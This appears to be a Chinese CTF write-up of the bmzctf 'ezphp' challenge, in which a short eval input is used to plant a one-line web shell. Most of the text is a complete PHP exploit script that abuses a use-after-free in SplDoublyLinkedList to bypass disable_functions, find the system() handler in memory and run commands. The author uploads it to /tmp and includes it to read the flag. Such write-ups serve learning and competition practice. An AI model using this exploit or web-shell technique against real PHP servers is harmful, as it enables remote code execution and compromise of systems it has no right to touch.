bmzctf刷题 WEB_ezphp

<?php 
highlight_file(__FILE__);
$cmd=$_POST['a'];
if(strlen($cmd) > 25){
    die();
}else{
    eval($cmd);
}

最开始以为是到送分题，没想到是个送命题??

最开始的想法直接system(`cat /flag`);
发现我的想法有点过于美妙了。。。
啥都没有???
然后有用system发现没有反应。。。。
艹

查看phpinfo

a=phpinfo();

system没有反应的答案出来了。。。

上蚁剑，先给他来个一句话shell

中间平台崩了，重启一下??

发现根目录有个readflag

乱码查看不了，日了狗了

接下来就是我的知识盲区了，我实在想不明白为啥文件读取不了要考虑disable_function
思路来自思路
脚本来自脚本

UAF bypass PHP disabled functions

<?php
error_reporting(0);
$a = str_repeat("T", 120 * 1024 * 1024);
function i2s(&$a, $p, $i, $x = 8) {
    for($j = 0;$j < $x;$j++) {
        $a[$p + $j] = chr($i & 0xff);
        $i >>= 8;
    }
}

function s2i($s) {
    $result = 0;
    for ($x = 0;$x < strlen($s);$x++) {
        $result <<= 8;
        $result |= ord($s[$x]);
    }
    return $result;
}

function leak(&$a, $address) {
    global $s;
    i2s($a, 0x00, $address - 0x10);
    return strlen($s -> current());
}

function getPHPChunk($maps) {
    $pattern = '/([0-9a-f]+\-[0-9a-f]+) rw\-p 00000000 00:00 0 /';
    preg_match_all($pattern, $maps, $match);
    foreach ($match[1] as $value) {
        list($start, $end) = explode("-", $value);
        if (($length = s2i(hex2bin($end)) - s2i(hex2bin($start))) >= 0x200000 && $length <= 0x300000) {
            $address = array(s2i(hex2bin($start)), s2i(hex2bin($end)), $length);
            echo "[+]PHP Chunk: " . $start . " - " . $end . ", length: 0x" . dechex($length) . "\n";
            return $address;
        }
    }
}

function bomb1(&$a) {
    if (leak($a, s2i($_GET["test1"])) === 0x5454545454545454) {
        return (s2i($_GET["test1"]) & 0x7ffff0000000);
    }else {
        die("[!]Where is here");
    }
}

function bomb2(&$a) {
    $start = s2i($_GET["test2"]);
    return getElement($a, array($start, $start + 0x200000, 0x200000));
    die("[!]Not Found");
}

function getElement(&$a, $address) {
    for ($x = 0;$x < ($address[2] / 0x1000 - 2);$x++) {
        $addr = 0x108 + $address[0] + 0x1000 * $x + 0x1000;
        for ($y = 0;$y < 5;$y++) {
            if (leak($a, $addr + $y * 0x08) === 0x1234567812345678 && ((leak($a, $addr + $y * 0x08 - 0x08) & 0xffffffff) === 0x01)){
                echo "[+]SplDoublyLinkedList Element: " . dechex($addr + $y * 0x08 - 0x18) . "\n";
                return $addr + $y * 0x08 - 0x18;
            }
        }
    }
}

function getClosureChunk(&$a, $address) {
    do {
        $address = leak($a, $address);
    }while(leak($a, $address) !== 0x00);
    echo "[+]Closure Chunk: " . dechex($address) . "\n";
    return $address;
}

function getSystem(&$a, $address) {
    $start = $address & 0xffffffffffff0000;
    $lowestAddr = ($address & 0x0000fffffff00000) - 0x0000000001000000;
    for($i = 0; $i < 0x1000 * 0x80; $i++) {
        $addr = $start - $i * 0x20;
        if ($addr < $lowestAddr) {
            break;
        }
        $nameAddr = leak($a, $addr);
        if ($nameAddr > $address || $nameAddr < $lowestAddr) {
            continue;
        }
        $name = dechex(leak($a, $nameAddr));
        $name = str_pad($name, 16, "0", STR_PAD_LEFT);
        $name = strrev(hex2bin($name));
        $name = explode("\x00", $name)[0];
        if($name === "system") {
            return leak($a, $addr + 0x08);
        }
    }
}

class Trigger {
    function __destruct() {
        global $s;
        unset($s[0]);
        $a = str_shuffle(str_repeat("T", 0xf));
        i2s($a, 0x00, 0x1234567812345678);
        i2s($a, 0x08, 0x04, 7);
        $s -> current();
        $s -> next();
        if ($s -> current() !== 0x1234567812345678) {
             die("[!]UAF Failed");
        }
        $maps = file_get_contents("/proc/self/maps");
        if (!$maps) {
            cantRead($a);
        }else {
            canRead($maps, $a);
        }
        echo "[+]Done";
    }
}

function bypass($elementAddress, &$a) {
    global $s;
    if (!$closureChunkAddress = getClosureChunk($a, $elementAddress)) {
        die("[!]Get Closure Chunk Address Failed");
    }
    $closure_object = leak($a, $closureChunkAddress + 0x18);
    echo "[+]Closure Object: " . dechex($closure_object) . "\n";
    $closure_handlers = leak($a, $closure_object + 0x18);
    echo "[+]Closure Handler: " . dechex($closure_handlers) . "\n";
    if(!($system_address = getSystem($a, $closure_handlers))) {
        die("[!]Couldn't determine system address");
    }
    echo "[+]Find system's handler: " . dechex($system_address) . "\n";
    i2s($a, 0x08, 0x506, 7);
    for ($i = 0;$i < (0x130 / 0x08);$i++) {
        $data = leak($a, $closure_object + 0x08 * $i);
        i2s($a, 0x00, $closure_object + 0x30);
        i2s($s -> current(), 0x08 * $i + 0x100, $data);
    }
    i2s($a, 0x00, $closure_object + 0x30);
    i2s($s -> current(), 0x20, $system_address);
    i2s($a, 0x00, $closure_object);
    i2s($a, 0x08, 0x108, 7);
    echo "[+]Executing command: \n";
    ($s -> current())("php -v");
}

function canRead($maps, &$a) {
    global $s;
    if (!$chunkAddress = getPHPChunk($maps)) {
        die("[!]Get PHP Chunk Address Failed");
    }
    i2s($a, 0x08, 0x06, 7);
    if (!$elementAddress = getElement($a, $chunkAddress)) {
        die("[!]Get SplDoublyLinkedList Element Address Failed");
    }
    bypass($elementAddress, $a);
}

function cantRead(&$a) {
    global $s;
    i2s($a, 0x08, 0x06, 7);
    if (!isset($_GET["test1"]) && !isset($_GET["test2"])) {
        die("[!]Please try to get address of PHP Chunk");
    }
    if (isset($_GET["test1"])) {
        die(dechex(bomb1($a)));
    }
    if (isset($_GET["test2"])) {
        $elementAddress = bomb2($a);
    }
    if (!$elementAddress) {
        die("[!]Get SplDoublyLinkedList Element Address Failed");
    }
    bypass($elementAddress, $a);
}

$s = new SplDoublyLinkedList();
$s -> push(new Trigger());
$s -> push("Twings");
$s -> push(function($x){});
for ($x = 0;$x < 0x100;$x++) {
    $s -> push(0x1234567812345678);
}
$s -> rewind();
unset($s[0]);

保存为exp.php
上传到可以写入的/tmp文件夹

然后include这个exp

exp.php默认是读取php版本信息，这里改一下源码

啪，flag就出来了。。。。虽然我很莫名其妙，没有搞懂为什么readflag文件正常了